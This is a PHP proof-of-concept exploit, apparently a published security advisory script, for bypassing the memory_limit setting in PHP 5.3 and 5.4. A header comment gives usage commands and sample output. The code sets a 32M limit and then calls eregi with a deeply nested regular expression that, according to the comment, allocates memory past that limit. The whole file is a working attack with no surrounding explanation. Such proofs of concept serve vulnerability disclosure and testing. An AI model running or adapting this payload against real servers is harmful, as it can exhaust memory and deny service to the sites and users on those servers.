<?
/*
PHP 5.4 5.3 memory_limit bypass exploit poc
by Maksymilian Arciemowicz http://cxsecurity.com/
cxib [ a.T] cxsecurity [ d0t] com

To show memory_limit in PHP

# php /www/memlimpoc.php 1 35000000
PHP Fatal error:  Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in /var/www/memlimpoc.php on line 12

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in /var/www/memlimpoc.php on line 12

and try this 

# php /www/memlimpoc.php 2

memory_limit bypassed
*/

ini_set("memory_limit","32M");

if($argv[1]==1)
	$sss=str_repeat("A",$argv[2]);
elseif($argv[1]==2)
	eregi("(.?)(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((.*){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}","a");

?>